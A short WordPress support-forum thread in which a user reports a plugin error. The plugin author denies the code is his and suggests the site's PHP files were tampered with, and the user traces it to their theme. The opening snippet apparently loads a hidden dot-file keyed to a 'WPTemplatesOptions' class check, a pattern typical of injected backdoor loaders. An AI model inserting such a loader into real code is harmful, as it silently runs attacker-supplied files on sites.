if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) {
include_once($filename);

I've downloaded the plugin from codecanyon after purcahse and uploaded it. As the error exist I removed the free version still it throwing the error. I'll share ftp access it may be more easy and quicker to fix the issue

But I don't know how to share it with you in private window

Hi,

this is NOT from my plugin!!! I just downloaded the latest version directly from codecanyon!

The line is 
if (!empty ($tab_hidden)) {

Please get the version from codecanyon again! And you should scan your webspace. Maybe someone modifies your php files!

Best, Michael

Got it my theme was the culprit..... now its working fine thanks for quick support... 👍 

👍